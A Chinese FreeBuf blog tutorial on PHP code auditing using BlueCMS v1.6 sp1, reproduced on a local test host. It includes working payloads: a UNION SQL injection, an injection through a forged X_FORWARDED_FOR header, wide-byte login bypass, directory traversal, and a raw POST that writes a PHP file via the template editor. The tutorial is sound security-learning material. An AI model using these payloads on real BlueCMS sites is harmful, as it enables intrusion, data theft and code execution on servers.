freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

通过 BlueCMS 学习 php 代码审计
jelly1 2021-08-10 10:32:04 375453

0x00 前言

最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:

php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 早期CMS程序代码审计实战 -> MVC模式程序代码审计实战

网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向。

然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理早期CMS程序代码审计实战 -> MVC模式程序代码审计实战的过程,并在博客上发表。

早期CMS程序代码审计实战 我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,难度逐渐提升。在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,直到PhpCMS,发现已经实现了一个MVC模型的程序。相信完成这步后再审计非 MVC 模式程序的代码就会具有清晰的思路与十足的把握。

0x01 BlueCMS 简介

BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑。

BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是早期CMS程序代码审计实战系列最标志的第一环。

BlueCMS 源码也不太好找,这里推荐站长之家(http://down.chinaz.com/),yyds

BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功。

0x02 全局分析

在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作

目录结构

通过目录结构可以简单看出程序的逻辑
目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善
图片.png

首页 index.php

首页 index.php 首先会加载common.inc.php,include/index.fun.php这些文件具体做了什么后面仔细分析

然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了

require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');
// 获取新闻栏目、新闻分类列表、网站公告等数据
……
// 利用smarty模板引擎显示页面
$smarty->display('index.htm');

可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.php

include/common.inc.php

对GPC数据做了过滤,但外部可控数据还包括$_SERVER没有经过过滤

还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用

comon.inc.php 的其他处理逻辑注释即可

// 加载一些基础文件
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');

// 外部数据过滤
if(!get_magic_quotes_gpc())
{
	$_POST = deep_addslashes($_POST);
	$_GET = deep_addslashes($_GET);
	$_COOKIES = deep_addslashes($_COOKIES);
	$_REQUEST = deep_addslashes($_REQUEST);
}

// 数据库链接
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);

// Smarty模板对象就是这引入的
require(BLUE_ROOT.'include/smarty/Smarty.class.php');
$smarty = new Smarty();

// 用户ip处理
$banned_ip = get_bannedip();
if (@in_array($online_ip, $banned_ip))
{
	showmsg('对不起,您的IP已被禁止,有问题请联系管理员!');
}

外部数据的具体过滤方式

追踪一下deep_addslashes()方法,看下数据过滤的具体实现方式

/include/common.fun.php

具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作

// include/common.fun.php 14-28:
function deep_addslashes($str)
{
	if(is_array($str))
	{
		foreach($str as $key=>$val)
		{
			$str[$key] = deep_addslashes($val);
		}
	}
	else
	{
		$str = addslashes($str);
	}
	return $str;
}

数据库连接方式

include/mysql.class.php

数据库连接方法是mysql_connect(),$linkid存放MySQL 连接标识

这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能

然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行

class mysql {
		var $linkid=null;
    function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) {
    	$this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect);
    }
    function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
    	$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
    	if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
    		$this->dbshow('Can not connect to Mysql!');
    	} else {
    		if($this->dbversion() > '4.1'){
    			mysql_query( "SET NAMES gbk");
    		}
    	}
    }
  	// mysql_query()封装执行sql语句的方法
  	function query($sql){
    	if(!$query=@mysql_query($sql, $this->linkid)){
    		$this->dbshow("Query error:$sql");
    	}else{
    		return $query;
    	}
    }
  	//	getone() 封装查询数据的方法
  	function getone($sql, $type=MYSQL_ASSOC){
    	$query = $this->query($sql,$this->linkid);
    	$row = mysql_fetch_array($query, $type);
    	return $row;
    }
  ……
}

后台逻辑分析

后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑

后台入口文件

admin/index.php

admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理

index.php 剩下内容主要用于显示后台的页面

require_once(dirname(__FILE__) . "/include/common.inc.php");
$act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : '';
if($act==''){
  // 显示后台页面
  $smarty->display('index.htm');
}
elseif($act=='top')
{
	// 显示顶部
	$smarty->display('top.htm');
}
elseif($act=='menu'){
  // 显示菜单
  $smarty->display('menu.htm');
}
elseif($act == 'main'){
  // 显示主体页面
  $smarty->display('main.htm');
}

admin/templates/default/index.htm

关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案

<frameset rows="76,*" frameborder="no" border="0" framespacing="0" >
        <frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize>
        <frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0"  >
            <frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize>
            <frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize>
        </frameset>
</frameset>

common.inc.php处理细节

admin/include/common.inc.php

该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面

可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果$_SESSION['admin_id']存在则通过验证并刷新用户登陆记录

当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆

如果未设置cookie信息,则跳转到login.php?act=login页面重新登陆

// 加载一些基础文件
require_once(……)
// 外部数据过滤
deep_addslashes()
// 数据库链接
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// 加载smarty模板引擎
require(BLUE_ROOT.'include/smarty/Smarty.class.php');
$smarty = new Smarty();
// 管理员身份认证
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){
    if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){
        if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){
          update_admin_info($_COOKIE['Blue']['admin_name']);
        }
    }else{
        setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain);
        setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain);
        setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain);
        echo '<script type="text/javascript">top.location="login.php?act=login";</script>';
        exit();
    }
}elseif($_SESSION['admin_id']){
     update_admin_info($_SESSION['admin_name']);
}

0x03 漏洞审计

sql注入漏洞

通过BlueCMS我们可以看到各种常见的漏洞写法

数字型注入

ad_js.php

ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤

$ad_id通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行

在执行的sql语句中发现$ad_id没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入

sql查询结果最后是用注释的方式放在页面上

require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
	$ad_content = $ad['content'];
}
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:

http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+

图片.png

$_SERVER 的突破

上面知道只对GPC数据做了全局过滤,还有一个$_SERVER是没有过滤的,其实$_SERVER也是可以传入外部可控数据的

guest_book.php

guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中

其中$online_ip来自 common.fun.php 中 getip() 函数

require dirname(__FILE__) . '/include/common.inc.php';
if ($act == 'list'){
  ……
}elseif($act == 'send'){
  $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
			VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
	$db->query($sql);
}

common.fun.php

getip() 首先会在HTTP_开头的环境变量寻找ip,HTTP_开头的变量是可控的,来自请求头

function getip()
{
	if (getenv('HTTP_CLIENT_IP'))
	{
		$ip = getenv('HTTP_CLIENT_IP'); 
	}
	elseif (getenv('HTTP_X_FORWARDED_FOR')) 
	{
		$ip = getenv('HTTP_X_FORWARDED_FOR');
	}
	……
  else
	{ 
		$ip = $_SERVER['REMOTE_ADDR'];
	}
  return $ip;
}

漏洞复现:

POST /guest_book.php HTTP/1.1
Host: bluecms:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X_FORWARDED_FOR: 192.168.44.1',user())#
Connection: close
Cookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9
Upgrade-Insecure-Requests: 1
Content-Length: 37

content=hello&act=send&page_id=1&rid=

效果:
图片.png

宽字节注入

上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下

admin/login.php

admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码

可以看到后台验证验证用户是否登陆的依据:具有非空$_SESSION['admin_id']值

$admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为check_admin()

require_once(dirname(__FILE__) . '/include/common.inc.php');
if($act == 'login'){
  if($_SESSION['admin_id']){
 		showmsg('您已登录,不用再次登录', 'index.php');
 	}
  ……
}elseif($act == 'do_login'){
  $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
	$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
	if(check_admin($admin_name, $admin_pwd)){
 		update_admin_info($admin_name);
 		if($remember == 1){
 			setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
 			setcookie('Blue[admin_name]', $admin_name, time()+86400);
			setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
 		}
 	}else{
 		showmsg('您输入的用户名和密码有误');
 	}
}

admin/include/common.fun.php

判断的依据是同时查询用户名和密码,查询到结果则为真

function check_admin($name, $pwd)
{
	global $db;
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
 	if($row['num'] > 0)
 	{
 		return true;
 	}
 	else
 	{
 		return false;
 	}
}

这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制

注意浏览器会自动对post数据url编码,我们注入的%会被编码导致注入宽字节失效,最好通过抓包取消url编码

图片.png

任意文件读取/写入

在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞
图片.png
图片.png

审计细节

admin/tpl_manage.php

require_once(dirname(__FILE__).'/include/common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list';
if($act == 'list'){
  $dir = BLUE_ROOT.'templates/default';
  // 列出$dir下的文件
	……
}
elseif($act == 'edit'){
  $file = $_GET['tpl_name'];
	if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){
		showmsg('打开目标模板文件失败');
	}
	$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
	$tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312);
	fclose($handle);
	$tpl['name'] = $file;
	template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl));
	$smarty->display('tpl_info.htm');
}
elseif($act == 'do_edit'){
	$tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : '';
 	$tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : '';
 	if(empty($tpl_name)){
 		return false;
 	}
 	$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
 	if(!$handle = @fopen($tpl, 'wb')){
		showmsg("打开目标模版文件 $tpl 失败");
 	}
 	if(fwrite($handle, $tpl_content) === false){
 		showmsg('写入目标 $tpl 失败');
 	}
 	fclose($handle);
 	showmsg('编辑模板成功', 'tpl_manage.php');
}

$act可控,用于指定操作,具有的操作为list, edit 和do_edit

默认操作 list,列出指定目录下的文件

操作 edit用于读取指定目录下的$file,该参数可控,通过../可以实现目录穿越,这里就有任意文件读取漏洞

操作 do_edit 将$tpl_content写入到$tpl_name文件中,两个参数都可控,不过写入的内容$tpl_content会通过 deep_stripslashes() 过滤,同时还要注意$tpl_content是通过 POST 方式传入的,还会经过 addslashes() 处理

include/common.fun.php

查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞

function deep_stripslashes($str)
{
 	if(is_array($str))
 	{
 		foreach($str as $key => $val)
 		{
 			$str[$key] = deep_stripslashes($val);
 		}
 	}
 	else
 	{
 		$str = stripslashes($str);
 	}
 	return $str;
}

复现

利用目录穿越读取任意文件

图片.png直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:

POST /admin/tpl_manage.php HTTP/1.1
Host: bluecms.test:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Origin: http://bluecms.test:8888
Connection: close
Referer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htm
Cookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77
Upgrade-Insecure-Requests: 1

tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit

效果:

图片.png

任意文件删除

user.php

$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的

elseif ($act == 'del_pic') {
    $id = $_REQUEST['id'];
    $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");
    if (file_exists(BLUE_ROOT . $id)) {
        @unlink(BLUE_ROOT . $id);
    }

0x04 总结

BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。

参考

https://xz.aliyun.com/t/7074

# 代码审计 # 代码审计入门
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 jelly1 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
jelly1 LV.2
这家伙太懒了,还未填写个人描述!
  • 9 文章数
  • 41 关注者
ThinkPHP5反序列化利用链总结与分析
2021-12-30
边吃瓜边审计 MacCMS
2021-11-22
Oracle 11g 利用方式总结
2021-10-11
文章目录